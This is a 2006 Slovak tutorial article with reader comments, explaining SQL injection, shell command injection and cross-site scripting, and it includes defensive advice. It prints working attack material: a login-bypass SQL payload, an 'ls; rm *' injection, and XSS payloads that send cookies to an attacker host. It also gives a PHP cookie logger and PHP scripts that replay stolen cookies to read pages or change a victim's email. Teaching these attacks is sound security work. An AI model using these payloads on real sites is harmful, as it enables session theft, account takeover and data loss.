Bezpecnost www aplikacii - vkladanie SQL kodu a XSS

31.05.2006 22:25 | blackhole

Vkladanie SQL kódu je technika, ktorá sa pokúša poslať SQL príkaz prostredníctvom webovej aplikácie, ktorá by ho následne vykonala nad svojou databázou. Je to jedna z najbežnejších metód útoku využívaná v Internete. Voči tejto metóde sú zraniteľné dynamické skriptovacie jazyky ako ASP, ASP.NET, PHP, JSP, CGI a pod.

Na vykonanie útoku vložením SQL stačí webový prehliadač a uhádnutie dôležitých názvov polí v tabuľke. Aj preto sú tieto útoky tak populárne.
Tento útok nie je zameraný na diery v bezpečnosti operačných systémov, ale skôr záleží na vývoji webovej stránky. Niektorí vývojári nepoznajú tento druh útoku a vystavujú tak svoje aplikácie hrozbe, že podľahne práve takémuto útoku.
Každá webová aplikácia odosielajúca parametre priamo do databázy je zraniteľná metódou vloženia SQL. Zraniteľné miesta sú najmä prihlasovacie formuláre, formuláre pre zabudnuté heslá a pod.
V prípade, že útočník zistí, že systém je zraniteľný vložením SQL, dokáže odoslať SQL príkaz prostredníctvom polí pre vkladanie údajov. Je to akoby sa útočníkovi umožnilo vykonávanie akéhokoľvek príkazu ako napríklad SELECT, INSERT, DELETE a DROP TABLE.
Kam získa útočník prístup záleží aj od úrovne zabezpečenia databázy. Databáza môže byť nastavená na zákaz vykonávania istých príkazov. Vo všeobecnosti je pre webové aplikácie povolené čítanie údajov. Takže aj keď útočník nemôže údaje meniť, môže ich stále čítať.

Príklad:
Takto môže vyzerať jednoduchý HTML formulár pre prihlasovanie. Obsahuje dva vstupy. Meno a heslo.

<form method="post" action="login.php">
<input type="text" name="username">
<input type="password" name="password">
</form>

Najjednoduchší spôsob akým sa vykoná select v login.php je nasledovný príkaz:
"SELECT id
FROM logins
WHERE username = '$username'
AND password = '$password'";

Ak sú premenné $username a $password odosielané priamo zo vstupu, je jednoduché ich zneužiť. Napríklad po vložení mena „Joe“ a nasledovného reťazca ako heslo: anything' OR 'x'='x sa príkaz vykoná nasledovne.
"SELECT id
FROM logins
WHERE username = 'Joe'
AND password = 'anything' OR 'x'='x'";

Pretože aplikácia sa v skutočnosti nezaoberá príkazom ale iba ho vytvára, použitie jednoduchých úvodzoviek vráti WHERE s dvoma podmienkami. Časť ‘x’ = ‘x’ garantuje navrátenie pravdivej hodnoty. Takto jednoducho útočník obíde prihlasovací formulár bez znalosti platného mena a hesla.
Najlepší spôsob ako sa brániť týmto útokom je rozšírené filtrovanie vstupov od používateľov. Je potrebné odstrániť všetko okrem potrebných údajov a filtrovať meta znaky. Zaručí sa tak, že na server sa odošlú iba neškodné údaje.

2.Cross site scripting (XSS)
Už na úrovni klienta je možné vykonať niektoré kontroly pomocou JavaScriptu, ktoré testujú, či užívateľ vyplnil správne a adekvátne údaje. Tieto kontroly sú ale iba dôležitým "kozmetickým" doplnkom. Ak chce niekto "nabúrať" aplikáciu, sú neúčinné. Metóde, keď niekto podvrhne falošné alebo nebezpečné parametre aplikácii, hovoríme "script injection".
V prípade, že skript spúšťa nejaký externý program a ako parametre mu predáva údaje vložené používateľom, môže sa vytvoriť veľmi nebezpečná aplikácia. Je absolútne nevyhnutné vykonať kontrolu vkladaných údajov. Napríklad ak sa má vykonať príkaz exec”man $cmd”;. Používateľ vloží do formulára hľadaný reťazec, napríklad “ls” a do stránky sa vypíše nápoveď k danému príkazu. Ak ale niekto zadá vstup v tvare "ls; rm *", môže dôjsť až ku zmazaniu niektorých súborov. Iným zadaním je možné vypísať súbor s heslami /etc/passwd. Tomuto sa dá zabrániť vhodnou konfiguráciou servera, avšak primárne je potrebné vykonať kontrolu údajov priamo v skripte pred ich odoslaním. Minimálne odstrániť znaky ako je medzera, bodkočiarka, $ a nahradiť ich sekvenciami (\;, \$). V PHP na to existuje funkcia EscapeShellCmd.
$cmd=EscapeShellCmd($cmd);

Je potrebné si uvedomiť aj to, že kedysi obrovská výhoda PHP, kedy je jedno či sú údaje odosielané metódou GET alebo POST, pretože ich hodnoty sa nastavia do premenných zodpovedajúcich názvu parametra, je v dnešnej dobe považovaná za potenciálne nebezpečnú a prednastavene je zakázaná (register_globals = off). Mnoho bezpečnostných problémov malo pôvod v podvrhnutí premennej cez URL, ktorá by inak vznikla za behu skriptu napríklad pri prihlásení. Preto sa silne odporúča používať na prístup k parametrom zásadne tieto polia:
$_GET["var1"] // pre parameter var1 predaný metódou GET
$_POST["var2"] // pre var2 predaný metódou POST
$_SESSION["var3"] // pre premennú var3, ktorá je súčasťou sedenia
V niektorých prípadoch (napríklad pri premenných, ktoré sa ukladajú do sedení a udávajú id prihláseného používateľa) je potrebné otestovať, či ju niekto nepodvrhol:

if (($var1==$HTTP_POST_VARS["var1"]) ||($var1==$HTTP_GET_VARS["var1"])) { // test, ci premenná $var1 nebola podvrhnutá metódou GET alebo POST
  header ("Location: http://......./\n"); //presmerovanie  na hlavnú stránku pri pokuse o narušenie aplikácie
exit;
}

2.1.Zraniteľnosť prihlasovacieho formulára
Mnoho aplikácii požaduje pred povolením práce prihlásenie pomocou definovaného mena a hesla. Tieto údaje sa kontrolujú v databázovej tabuľke. Aplikácia môže obsahovať dva skripty. Login.asp vykreslí prihlasovací formulár pre zadanie mena a hesla a CheckCredentials.asp skontroluje platnosť mena a hesla. V prípade, že meno a heslo sú nesprávne odošle CheckCredentials.asp pomocou Response.Redirect správu späť do Login.asp a presmeruje tam aj používateľa. Response.Redirect môže vyzerať nasledovne:

Response.Redirect("Login.asp?ErrorMessage=Invalid+
username+or+password")

Potom Login.asp zobrazí chybovú hlášku nasledovne:
<form method="POST" action="CheckCredentials.asp">
<!-- display error message, if it exists -->
<%=request.querystring("ErrorMessage")%>
Username: <input type="text" name="UserName"><br>
Password: <input type="password" name="Password"><br>
<input type="submit" name="submit" value="log in!">
</form>

Tento postup pri prihlasovaní používateľa nesprávnymi údajmi odošle skriptu Login.asp chybovú hlášku o nesprávnosti mena/hesla. Zmenou hodnoty premennej ErrorMessage môže útočník vložiť do aplikácie napríklad JavaScript-ový kód, ktorý sa vykoná. Napríklad takto:
<a href="http://www.somesite.com/Login.asp?ErrorMessage=</form>" title="http://www.somesite.com/Login.asp?ErrorMessage=</form>">http://www.somesite.com/Login.asp?ErrorMessage=</form></a>
<form method="POST" action="www.hax0r.com/passwordstealer.asp">

Výsledkom takéhoto volania by bol nasledovný kód:
<form method="POST" action="somepage.asp">
</form><form method="POST" action="http://www.hax0r.com/stealPassword.asp">
Username: <input type="text" name="UserName"><br>
Password: <input type="password" name="Password"><br>
<input type="submit" name="submit" value="log in!">
</form>

Útočník tak vložil HTML kód na stránku tak, že po ďalšom vložení mena a hesla sa tieto odošlú na jeho stránku http://www.hax0r.com/stealPassword.asp

2.2.Anatómia XSS
XSS útoky sú výsledkom nedostatkov www aplikácii na strane servera a sú ovládané prostredníctvom nedostatočne kontrolovaných vstupov na HTML znaky. Ak útočník dokáže vložiť HTML kód môže kontrolovať vykonávanie skriptov na stránke. Jednoduchá stránka zraniteľná metódou XSS môže vyzerať nasledove:

<?php echo "Hello, {$HTTP_GET_VARS['name']}!"; ?>

Po prístupe na túto stránku je odoslaná premenná prostredníctvom metódy GET a priamo vypísaný jej obsah na výstup. Obsah premennej bude spracovaný rovnako či už bude nastavený platným skriptom alebo používateľom. Vložením mena „Gavin Zuchlinski“ ako argument bude výstup vypísaný na obrazovku.

Vstup nie je kontrolovaný pred jeho výpisom na obrazovku. To umožňuje používateľovi kontrolovať HTML kód, ktorý sa vloží do zraniteľnej stránky.
Častými miestami, kde sa používa metóda XSS sú stránky, ktoré niečo potvrdzujú (napríklad vyhľadávače, ktoré vypisujú späť vložený hľadaný reťazec) a chybové stránky, ktoré majú používateľovi pomôcť tým, že za neho vyplnia údaje, ktoré už zadal správne a musí doplniť len tie chybné.

Útok
Po odhalení zraniteľného vstupu je potrebné zvoliť vhodnú HTTP metódu na útok. Je potrebné brať do úvahy akým spôsobom sú premenné odosielané skriptu. Sú premenné odosielané cez POST, GET alebo je možné využiť oboje? Niektoré skripty sú špecifické, ale najznámejšie z nich využívajú prednastavené metódy (ako napr. PHP a PERL).
Vkladanie použitím GET metódy je najjednoduchšie, ale často aj najnápadnejšie. Rôzne spôsoby „zatemnenia“ môžu zabrániť pozorným používateľom vo všimnutí si oznamu o presmerovaní alebo inej aktivite v poli s adresou.
Najjednoduchší spôsob skoku na konkrétny cieľ je JavaScript na presmerovanie stránky. Využitím tejto metódy premenné dostupné len pre daný dokument môžu byť odoslané na inú stránku. Ak by sa podarilo JavaScript kód
document.location.replace('http://attacker/payload');
umiestniť a vykonať na zraniteľnej stránke, útočník by mohol kontrolovať danú stránku. Modifikovaním kódu na
document.location.replace('http://attacker/payload?c='+document.cookie); má cieľová stránka k dispozícii aj špecifické premenné z cookie. Vykonanie takéhoto skoku na spomínanej stránke hello.php by sa dalo vykonať jednoducho zadaním nasledovnej adresy do prehliadača:

<a href="http://host/hello.php?name=<script>document.location" title="http://host/hello.php?name=<script>document.location">http://host/hello.php?name=<script>document.location</a>.
replace('http://attacker/payload?c='%2Bdocument.cookie)
</script>.

Vzhľadom na podstatu XSS, nemôže útočník zneužiť zraniteľný skript priamo pre osobný prospech. Vložený kód musí „vidieť“ cieľový používateľ. Predstavme si, že predchádzajúci súbor hello.php by bol umiestnený na rovnakom serveri ako nejaké fórum, pridaním vytvorenej linky na uvedené fórum, by táto bola dostupná mnohým používateľom. Po kliknutí na túto linku by sa vykonal vložený kód a klient by bol presmerovaný na žiadanú stránku. Ako sa dajú získané údaje zneužiť si ukážeme ďalej.
Skripty zraniteľné na POST metódu vkladania sú len málo ťažšie napadnuteľné. Keďže premenné post sú odosielané nezávisle od URL, musí byť vytvorená „sprostredkovateľská“ stránka. Cieľom tejto stránky je prinútiť klienta vykonať POST žiadosť obsahujúcu škodlivý kód. Nasledovný kód vytvorí formulár s údajmi prednastavenými útočníkom a odošle ho v mene používateľa, ktorý na odkaz klikol:

<form name=f method=POST action="http://host/hello.php">
<input type=hidden name="name"
value="<script>document.location.replace
('http://attacker/payload?c='+document.cookie)</script>">
</form>
<script>f.submit()</script>

Obeť útoku musí byť nasmerovaný na túto vytvorenú stránku. Nasledovný príkaz prinúti klientov prehliadač odoslať POST žiadosť skriptu v hello.php s obsahom premennej nastaveným na:
<script>document.location.replace
('http://attacker/payload?c='+document.cookie)</script>

Útočníkov zámer bol zrealizovaný. Kód je teraz na zraniteľnej stránke.

Zneužitie získaných informácií
Po odhalení zraniteľnej stránky, vytvorení škodlivého kódu, jeho vloženiu na stránku a získaniu informácii ostáva ešte jeden krok k dokončeniu útoku. Využiť získané informácie. Môže ísť napríklad o vloženie reklamy, prihlásenie pod iným používateľom alebo napadnutie používateľovho sedenia. Častým cieľom útokov je získanie cudzieho cookie pre osobné použitie. Nasledovný kód zaznamená používateľovu IP adresu, referrer a hodnotu cookie premennej uloženú v "C":

<?php
$f = fopen("log.txt", "a");
fwrite($f, "IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n");
fclose($f);
?>

Po tom ako útočník získal list cookies môže z nich vybrať užitočné informácie a zaútočiť na sedenie. Za predpokladu, že sedenie je stále aktívne na strane servera, môže útočník upraviť cookie tak, aby zodpovedalo ukradnutému cookie a zneužiť sedenie. Zautomatizovaním zneužitia ukradnutých cookies sa zvyšujú útočníkove šance na úspešný útok. Nasledovným skriptom sa využijú získané informácie na vytvorenie požiadavky na server. Konkrétne sa cookie využije na získanie zdrojového textu secret.php www stránky:

<?php
$request = "GET /secret.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
$content = '';
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>

V tomto prípade je získané /secret.php použitím ukradnutého cookie. Po odoslaní požiadavky je výstup vypísaný na obrazovku. Modifikovaním obsahu žiadosti je možné vykonať prakticky akúkoľvek operáciu. Nasledovný kód používa metódu POST na zmenu e-mailovej adresy bez vedomia používateľa:

<?php
$request = "POST /profile.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$request .= "email=attacker@hotmail.com";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
fclose($s);
echo "<script>document.location.replace
('http://google.com/')</script>";
?>

Zdroje:
http://www.lodoga.co.uk/attackinfo/appattackinfo.htm
http://www.acunetix.com/websitesecurity/
http://www.webkreator.com/php/configuration/php-session-security.html
http://www.cgisecurity.net/articles/xss-faq.txt
http://www.infosecwriters.com/hhworld/hh8/csstut.htm

    • velmi pekny clanok. myslim 01.06.2006 | 08:12
      Avatar blackhole   Návštevník

      velmi pekny clanok. myslim ze je to fajn zhrnutie..
      __________
      zero

    • cgi ? 01.06.2006 | 16:09
      Avatar blackhole   Návštevník
      len taky mierny technicky detail.. cgi nie je skriptovaci jazyk.
    • COOKIES auth 01.06.2006 | 17:33
      Avatar blackhole_ventYl   Používateľ

      Ono este je jedno pomerne dost dobre zranitelne miesto webovych aplikacii, a to autentifikacia pomocou COOKIES, ktora sa stale dost casto pouziva. Pri autentifikacii cez COOKIES sa vychadza z toho, ze v COOKIES prehliadac odosle autentifikacne udaje, napriklad ID sedenia. To je vsetko v poriadku, do momentu, nez sa ja ako obet nepohybujem po nejakej inej stranke (napriklad b4nk4.sk) a zakernej stranke (hax0r.gov), ktora je spustena v tom istom sedeni prehliadaca (COOKIES su sharovane) a v na hax0r.gov, sa bude nachadzat (skryty) iframe, kam sa bude pomocou javascriptu natahovat stranka b4nk4.sk so specifickymi prikazmi odovzdanymi pomocou GET, alebo POST (skryty formular predkladany do IFRAME), ktore budu kuprikladu obsahovat prikaz na bankovy prevod.
      Z toho dovodu treba vsade, kde sa da kontrolovat REFERERY a v HTTPS spojeniach treba automaticky odmietat tie spojenia, kde je REFERER iny, nez predpokladany (aj prazdny). Mimo HTTPS moze byt REFERER vynulovany (napriklad Symantec personal firewall, alebo ako sa to vola, v domneni ziskania vyssej urovne bezpecnosti automaticky odstranuje pole REFERER z requestu, popripade sa o to moze postarat proxy server).

      ---
      Riadit pracu programatorov je ako past macky.

      --- Cuchat s nadchou, to je ako sniffovat bez promiscu.
      • mmm.. neni to take lahke 20.12.2006 | 17:44
        Avatar blackhole   Návštevník

        > COOKIES su sharovane
        Pokial viem tak ku cookies ma pristup len ta domena, ktora ich vytvorila..

        neni to vobec take jednoduche ak nie nemozne.. napr. javascriptom nemozes pristupovat do vnutra framu/iframu z inej domeny a cely ten scenar je v takej teoretickej rovine

        • preco nie ? kludne mozes 22.12.2006 | 22:17
          Avatar blackhole_kepro   Používateľ

          preco nie ? kludne mozes javascriptom prechadzat s framu do framu to iste do iframu ak ma frame ID tak sa da predsa parent ti musi nieco vraviet ;)

    • Ja len ze kazdy zdravy 02.06.2006 | 10:07
      Avatar blackhole   Návštevník

      Ja len ze kazdy zdravy clovek (dokonca aj ja v mojich PHP programovacich zaciatkoch pre 5 rokmi, ked som o XSS ani nechyroval) pouzije pri pristupe do databazy metodu:

      $login = md5(strtolower($_GET['login]));
      $password = md5($_GET['passwd']);
      $sql = "SELECT * FROM mbusers WHERE login = '$login' AND md5passwd = '$password'";

      Dalsia vec je inicializovanie premennych. Dufam ze nikto nepouziva toto:

      if ( ! $auth ) {
        if ($form_login = $sql_returned_login AND $form_password = $sql_returned_password ) {
          $auth = true
        }
      }

      Vzdy inicializujte vsetky premenne default hodnotami!!! Na zaciatku skriptu chyba:

      $auth = false;

      Inak kazdy priemerny programator spravi ...login.php?auth=true&login=som&passwd=dnu

      ;) ScRaTcHi
      --

      Never trust an operating system You don't have sources for.

      • Toto bol zamer clanku 02.06.2006 | 12:39
        Avatar blackhole   Návštevník

        Ano mas pravdu.. Ale ten clanok vznikol prave preto, ze kopec ludi toto stale robi. Je mi jasne, ze kazdy , co uz nieco viac nakodil o tychto metodach vie.. ale kopec zaciatocnikov nie, a myslim, ze nieco taketo pomoze min. v tom, ze zistia par vychytavok a pripadne si vygooglia dalsie. Ak si to ty osetroval od zaciatku je to len tvoje plus.

        • To je pravda, treba varovat 03.06.2006 | 23:26
          Avatar blackhole   Návštevník

          To je pravda, treba varovat vopred.
          Mozno by to chelo clanok o zvysovani bezpecnosti aplikacii, ak tu taky este nebol, rad sa podelim o svoje skusenosti.

          ScRaTcHi ;)

          --

          Never trust an operating system You don't have sources for.